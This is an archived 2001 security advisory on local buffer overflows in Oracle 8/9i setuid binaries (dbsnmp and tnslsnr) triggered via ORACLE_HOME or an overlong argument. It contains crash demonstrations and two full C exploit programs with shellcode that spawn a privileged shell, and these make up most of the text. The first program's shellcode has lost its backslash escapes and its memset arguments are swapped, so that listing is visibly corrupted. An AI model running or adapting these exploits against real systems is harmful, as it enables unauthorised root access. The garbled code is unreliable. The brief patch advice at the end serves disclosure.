2nd Aug 2001 [SBWID-3138]
COMMAND
dbsnmp and tnslsnr local buffer overflow via $ORACLE_HOME
SYSTEMS AFFECTED
Oracle 8, 9i
PROBLEM
Juan Manuel Pascual Escriba found following. Buffer overflow
exists if ORACLE_HOME enviroment variable if is defined with a
size greater than 749 bytes
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e \'print \"A\"x749\'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn\'t read file \"/config/nmiconf.tcl\": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e \'print \"A\"x750\'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn\'t read file \"/config/nmiconf.tcl\": no such file or directory
Segmentation fault
This overflow exists in newer products like Oracle 9i and maybe
in older too.
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e \'print \"A\"x749\'`
[oracle@proves1 iAS]$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn\'t read file \"/config/nmiconf.tcl\": no such file or directory
Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e \'print \"A\"x750\'`
[oracle@proves1 iAS]$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault
Any user belonging to oracle group can obtain euid=0.
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.
In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
\"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas.\"
L.E.Aute
This vulnerability was researched by:
Juan Manuel Pascual <pask@plazasite.com>
Special thanks to:
Ivan Sanchez <isanchez@plazasite.com>
Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY \"/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp\"
char shellcode[] =
\"x90\" /* Additional NOP */
\"x31xc0\" /* begin setuid (0) */
\"x31xdb\"
\"xb0x17\"
\"xcdx80\"
\"xebx1f\"
\"x5e\"
\"x89x76x08\"
\"x31xc0\"
\"x88x46x07\"
\"x89x46x0c\"
\"xb0x0b\"
\"x89xf3\"
\"x8dx4ex08\"
\"x8dx56x0c\"
\"xcdx80\"
\"x31xdb\"
\"x89xd8\"
\"x40\"
\"xcdx80\"
\"xe8xdcxffxffxff\"
\"/bin/sh\";
unsigned long get_sp(void) {
__asm__(\"movl %esp,%eax\");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf(\"Can\'t allocate memory.n\");
exit(0);
}
addr = get_sp() -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = \'\';
setenv(\"ORACLE_HOME\",buff,1);
system(BINARY);
}
Update (03 April 2002)
======
KF/Snosoft [http://www.snosoft.com] posted an exploit for Oracle 8i on
Linux via tns listner :
/*
* Yet another exploit for the \'Unbreakable\' Oracle database
* The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
* Shellcode created by r0z / Promisc
* Exploit coded up by The Itch / Promisc (http://www.promisc.org)
*
* This exploit was developed on the Snosoft vulnerability research machines
* mail dotslash@snosoft.com if you wish to participate in vuln research.
*
* - The Itch
* - itchie@promisc.org
*
* - Technical details concerning the exploit -
*
* 1). Buffer overflow occurs after writing more then 2132 bytes into the
* buffer at the command line 2128 to overwrite ebp, 2132 to
* overwrite eip).
* 2). If you write more then 2132 bytes, other frames will be
* overwritten afterwards and will mess up your flow of arbitrary code
* execution. (It must be exactly 2132 bytes!)
* 3). shellcode will try to do a setreuid(515);
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 4096
#define NOP 0x90
/* 2132 + 1 for the \\0 at the end of the string */
#define DEFAULT_BUFFER_SIZE 2133
/* Shellcode made by r0z (r0z@promisc.org) */
char shellcode[] =
\"\\x31\\xdb\" /* xor %ebx, %ebx */
\"\\x31\\xc9\" /* xor %ecx, %ecx */
\"\\xf7\\xe3\" /* mul %ebx */
\"\\xb0\\x46\" /* mov $0x46, %al */
\"\\x66\\xbb\\x03\\x02\" /* mov $0x1fc, %bx */
\"\\x49\" /* dec %ecx */
\"\\xcd\\x80\" /* int $0x80 */
\"\\x31\\xd2\" /* xor %edx, %edx */
\"\\x52\" /* push %edx */
\"\\x68\\x6e\\x2f\\x73\\x68\" /* push $0x68732f6e */
\"\\x68\\x2f\\x2f\\x62\\x69\" /* push $0x69622f2f */
\"\\x89\\xe3\" /* mov %esp, %ebx */
\"\\x52\" /* push %edx */
\"\\x53\" /* push %ebx */
\"\\x89\\xe1\" /* mov %esp, %ecx */
\"\\x6a\\x0b\" /* pushl $0xb */
\"\\x58\" /* pop %eax */
\"\\xcd\\x80\"; /* int $0x80 */
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int i;
int get_sp = (int)&get_sp;
if(argc > 1) { bsize = atoi(argv[1]); }
if(!(buff = malloc(bsize)))
{
printf(\"unable to allocate memory for %d bytes\\n\", bsize);
exit(1);
}
if(!(egg = malloc(eggsize)))
{
printf(\"unable to allocate memory for %d bytes\\n\", eggsize);
exit(1);
}
printf(\"Oracle tnslsrn 8.1.5\\n\");
printf(\"Vulnerability found by KF / http://www.snosoft.com\\n\");
printf(\"Coded by The Itch / http://www.promisc.org\\n\\n\");
printf(\"Using return address: 0x%x\\n\", get_sp);
printf(\"Using buffersize : %d\\n\", bsize - 1);
ptr = buff;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode)-1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
egg[eggsize - 1] = \'\\0\';
memcpy(egg, \"EGG=\", 4);
putenv(egg);
buff[bsize - 1 ]= \'\\0\';
execl(\"/home/u01/app/oracle/product/8.1.5/bin/tnslsnr\",
\"tnslsnr\", buff, 0);
return 0;
}
SOLUTION
Remove the setuid bit from the file (chmod -s dbsnmp) or apply the available patch which can be downloaded from
http://metalink.oracle.com.
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